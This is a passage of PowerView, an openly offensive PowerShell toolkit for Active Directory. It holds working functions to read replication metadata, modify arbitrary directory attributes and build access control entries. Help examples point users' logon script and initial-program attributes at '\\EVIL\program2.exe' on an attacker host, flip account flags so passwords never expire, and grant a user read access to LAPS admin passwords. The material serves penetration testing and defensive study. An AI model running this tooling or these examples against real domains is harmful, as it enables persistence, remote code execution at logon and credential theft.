https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
|
|
[OutputType('PowerView.ADObjectLinkedAttributeHistory')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$Raw
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{
|
|
'Properties' = 'msds-replvaluemetadata','distinguishedname'
|
|
'Raw' = $True
|
|
}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
|
|
if ($PSBoundParameters['Properties']) {
|
|
$PropertyFilter = $PSBoundParameters['Properties'] -Join '|'
|
|
}
|
|
else {
|
|
$PropertyFilter = ''
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
|
|
|
|
Get-DomainObject @SearcherArguments | ForEach-Object {
|
|
$ObjectDN = $_.Properties['distinguishedname'][0]
|
|
ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) {
|
|
$TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue
|
|
if ($TempObject) {
|
|
if ($TempObject.pszAttributeName -Match $PropertyFilter) {
|
|
$Output = New-Object PSObject
|
|
$Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN
|
|
$Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName
|
|
$Output | Add-Member NoteProperty 'AttributeValue' $TempObject.pszObjectDn
|
|
$Output | Add-Member NoteProperty 'TimeCreated' $TempObject.ftimeCreated
|
|
$Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted
|
|
$Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange
|
|
$Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion
|
|
$Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN
|
|
$Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectLinkedAttributeHistory')
|
|
$Output
|
|
}
|
|
}
|
|
else {
|
|
Write-Verbose "[Get-DomainObjectLinkedAttributeHistory] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Set-DomainObject {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Modifies a gven property for a specified active directory object.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainObject
|
|
|
|
.DESCRIPTION
|
|
|
|
Splats user/object targeting parameters to Get-DomainObject, returning the raw
|
|
searchresult object. Retrieves the raw directoryentry for the object, and sets
|
|
any values from -Set @{}, XORs any values from -XOR @{}, and clears any values
|
|
from -Clear @().
|
|
|
|
.PARAMETER Identity
|
|
|
|
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
|
|
Wildcards accepted.
|
|
|
|
.PARAMETER Set
|
|
|
|
Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values.
|
|
|
|
.PARAMETER XOR
|
|
|
|
Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values.
|
|
|
|
.PARAMETER Clear
|
|
|
|
Specifies an array of object properties that will be cleared in the directory.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
|
|
|
|
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
|
|
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
|
|
VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser
|
|
|
|
.EXAMPLE
|
|
|
|
"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose
|
|
|
|
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
|
|
VERBOSE: Get-DomainObject filter string:
|
|
(&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108)))
|
|
VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y
|
|
VERBOSE: Setting countrycode to 1234 for object harmj0y
|
|
VERBOSE: Get-DomainSearcher search string:
|
|
LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
|
|
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
|
|
VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser
|
|
VERBOSE: Setting countrycode to 1234 for object testuser
|
|
|
|
.EXAMPLE
|
|
|
|
"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose
|
|
|
|
Cleares the 'department' field for both object identities.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
|
|
|
|
Name Value
|
|
---- -----
|
|
NORMAL_ACCOUNT 512
|
|
|
|
|
|
Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose
|
|
|
|
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
|
|
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
|
|
VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser'
|
|
|
|
Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
|
|
|
|
Name Value
|
|
---- -----
|
|
NORMAL_ACCOUNT 512
|
|
DONT_EXPIRE_PASSWORD 65536
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainUser -Identity testuser -Properties scriptpath
|
|
|
|
scriptpath
|
|
----------
|
|
\\primary\sysvol\blah.ps1
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose
|
|
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
|
|
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
|
|
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
|
|
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
|
|
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
|
|
VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser'
|
|
|
|
Get-DomainUser -Identity testuser -Properties scriptpath
|
|
|
|
scriptpath
|
|
----------
|
|
\\EVIL\program2.exe
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Replace')]
|
|
[Hashtable]
|
|
$Set,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Hashtable]
|
|
$XOR,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Clear,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{'Raw' = $True}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
}
|
|
|
|
PROCESS {
|
|
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
|
|
|
|
# splat the appropriate arguments to Get-DomainObject
|
|
$RawObject = Get-DomainObject @SearcherArguments
|
|
|
|
ForEach ($Object in $RawObject) {
|
|
|
|
$Entry = $RawObject.GetDirectoryEntry()
|
|
|
|
if($PSBoundParameters['Set']) {
|
|
try {
|
|
$PSBoundParameters['Set'].GetEnumerator() | ForEach-Object {
|
|
Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'"
|
|
$Entry.put($_.Name, $_.Value)
|
|
}
|
|
$Entry.commitchanges()
|
|
}
|
|
catch {
|
|
Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_"
|
|
}
|
|
}
|
|
if($PSBoundParameters['XOR']) {
|
|
try {
|
|
$PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object {
|
|
$PropertyName = $_.Name
|
|
$PropertyXorValue = $_.Value
|
|
Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'"
|
|
$TypeName = $Entry.$PropertyName[0].GetType().name
|
|
|
|
# UAC value references- https://support.microsoft.com/en-us/kb/305144
|
|
$PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue
|
|
$Entry.$PropertyName = $PropertyValue -as $TypeName
|
|
}
|
|
$Entry.commitchanges()
|
|
}
|
|
catch {
|
|
Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_"
|
|
}
|
|
}
|
|
if($PSBoundParameters['Clear']) {
|
|
try {
|
|
$PSBoundParameters['Clear'] | ForEach-Object {
|
|
$PropertyName = $_
|
|
Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'"
|
|
$Entry.$PropertyName.clear()
|
|
}
|
|
$Entry.commitchanges()
|
|
}
|
|
catch {
|
|
Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function ConvertFrom-LDAPLogonHours {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Converts the LDAP LogonHours array to a processible object.
|
|
|
|
Author: Lee Christensen (@tifkin_)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
Converts the LDAP LogonHours array to a processible object. Each entry
|
|
property in the output object corresponds to a day of the week and hour during
|
|
the day (in UTC) indicating whether or not the user can logon at the specified
|
|
hour.
|
|
|
|
.PARAMETER LogonHoursArray
|
|
|
|
21-byte LDAP hours array.
|
|
|
|
.EXAMPLE
|
|
|
|
$hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours
|
|
ConvertFrom-LDAPLogonHours $hours
|
|
|
|
Gets the logonhours array from the first AD user with logon restrictions.
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.LogonHours
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.LogonHours')]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[byte[]]
|
|
$LogonHoursArray
|
|
)
|
|
|
|
Begin {
|
|
if($LogonHoursArray.Count -ne 21) {
|
|
throw "LogonHoursArray is the incorrect length"
|
|
}
|
|
|
|
function ConvertTo-LogonHoursArray {
|
|
Param (
|
|
[int[]]
|
|
$HoursArr
|
|
)
|
|
|
|
$LogonHours = New-Object bool[] 24
|
|
for($i=0; $i -lt 3; $i++) {
|
|
$Byte = $HoursArr[$i]
|
|
$Offset = $i * 8
|
|
$Str = [Convert]::ToString($Byte,2).PadLeft(8,'0')
|
|
|
|
$LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7])
|
|
$LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6])
|
|
$LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5])
|
|
$LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4])
|
|
$LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3])
|
|
$LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2])
|
|
$LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1])
|
|
$LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0])
|
|
}
|
|
|
|
$LogonHours
|
|
}
|
|
}
|
|
|
|
Process {
|
|
$Output = @{
|
|
Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2]
|
|
Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5]
|
|
Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8]
|
|
Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11]
|
|
Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14]
|
|
Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17]
|
|
Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20]
|
|
}
|
|
|
|
$Output = New-Object PSObject -Property $Output
|
|
$Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours')
|
|
$Output
|
|
}
|
|
}
|
|
|
|
|
|
function New-ADObjectAccessControlEntry {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Creates a new Active Directory object-specific access control entry.
|
|
|
|
Author: Lee Christensen (@tifkin_)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
Creates a new object-specific access control entry (ACE). The ACE could be
|
|
used for auditing access to an object or controlling access to objects.
|
|
|
|
.PARAMETER PrincipalIdentity
|
|
|
|
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
|
|
for the domain principal to add for the ACL. Required. Wildcards accepted.
|
|
|
|
.PARAMETER PrincipalDomain
|
|
|
|
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
|
|
|
|
.PARAMETER PrincipalSearchBase
|
|
|
|
The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER Right
|
|
|
|
Specifies the rights set on the Active Directory object.
|
|
|
|
.PARAMETER AccessControlType
|
|
|
|
Specifies the type of ACE (allow or deny)
|
|
|
|
.PARAMETER AuditFlag
|
|
|
|
For audit ACEs, specifies when to create an audit log (on success or failure)
|
|
|
|
.PARAMETER ObjectType
|
|
|
|
Specifies the GUID of the object that the ACE applies to.
|
|
|
|
.PARAMETER InheritanceType
|
|
|
|
Specifies how the ACE applies to the object and/or its children.
|
|
|
|
.PARAMETER InheritedObjectType
|
|
|
|
Specifies the type of object that can inherit the ACE.
|
|
|
|
.EXAMPLE
|
|
|
|
$Guids = Get-DomainGUIDMap
|
|
$AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name
|
|
$CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name
|
|
$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid
|
|
$OU = Get-DomainOU -Raw Workstations
|
|
$DsEntry = $OU.GetDirectoryEntry()
|
|
$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'
|
|
$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
|
|
$dsEntry.PsBase.CommitChanges()
|
|
|
|
Adds an ACE to all computer objects in the OU "Workstations" permitting the
|
|
user "itadmin" to read the confidential ms-Mcs-AdmPwd computer property.
|
|
|
|
.OUTPUTS
|
|
|
|
System.Security.AccessControl.AuthorizationRule
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('System.Security.AccessControl.AuthorizationRule')]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True, Mandatory = $True)]
|
|
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
|
|
[String]
|
|
$PrincipalIdentity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$PrincipalDomain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Parameter(Mandatory = $True)]
|
|
[ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','GenericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl','ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')]
|
|
$Right,
|
|
|
|
[Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')]
|
|
[ValidateSet('Allow', 'Deny')]
|
|
[String[]]
|
|
$AccessControlType,
|
|
|
|
[Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')]
|
|
[ValidateSet('Success', 'Failure')]
|
|
[String]
|
|
$AuditFlag,
|
|
|
|
[Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')]
|
|
[Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')]
|
|
[Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')]
|
|
[Guid]
|
|
$ObjectType,
|
|
|
|
[ValidateSet('All', 'Children','Descendents','None','SelfAndChildren')]
|
|
[String]
|
|
$InheritanceType,
|
|
|
|
[Guid]
|
|
$InheritedObjectType
|
|
)
|
|
|
|
Begin {
|
|
if ($PrincipalIdentity -notmatch '^S-1-.*') {
|
|
$PrincipalSearcherArguments = @{
|
|
'Identity' = $PrincipalIdentity
|
|
'Properties' = 'distinguishedname,objectsid'
|
|
}
|
|
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
|
|
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
|
|
$Principal = Get-DomainObject @PrincipalSearcherArguments
|
|
if (-not $Principal) {
|
|
throw "Unable to resolve principal: $PrincipalIdentity"
|
|
}
|
|
elseif($Principal.Count -gt 1) {
|
|
throw "PrincipalIdentity matches multiple AD objects, but only one is allowed"
|
|
}
|
|
$ObjectSid = $Principal.objectsid
|
|
}
|
|
else {
|
|
$ObjectSid = $PrincipalIdentity
|
|
}
|
|
|
|
$ADRight = 0
|
|
foreach($r in $Right) {
|
|
$ADRight = $ADRight -bor (([System.DirectoryServices.ActiveDirectoryRights]$r).value__)
|
|
}
|
|
$ADRight = [System.DirectoryServices.ActiveDirectoryRights]$ADRight
|
|
|
|
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid)
|
|
}
|
|
|
|
Process {
|
|
if($PSCmdlet.ParameterSetName -eq 'AuditRuleType') {
|
|
|
|
if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
|
|
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag
|
|
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
|
|
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType)
|
|
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
|
|
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType
|
|
} elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
|
|
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType
|
|
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
|
|
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType
|
|
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
|
|
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType, $InheritedObjectType
|
|
}
|
|
|
|
}
|
|
else {
|
|
|
|
if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
|
|
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType
|
|
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
|
|
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType)
|
|
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
|
|
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType
|
|
} elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
|
|
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType
|
|
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
|
|
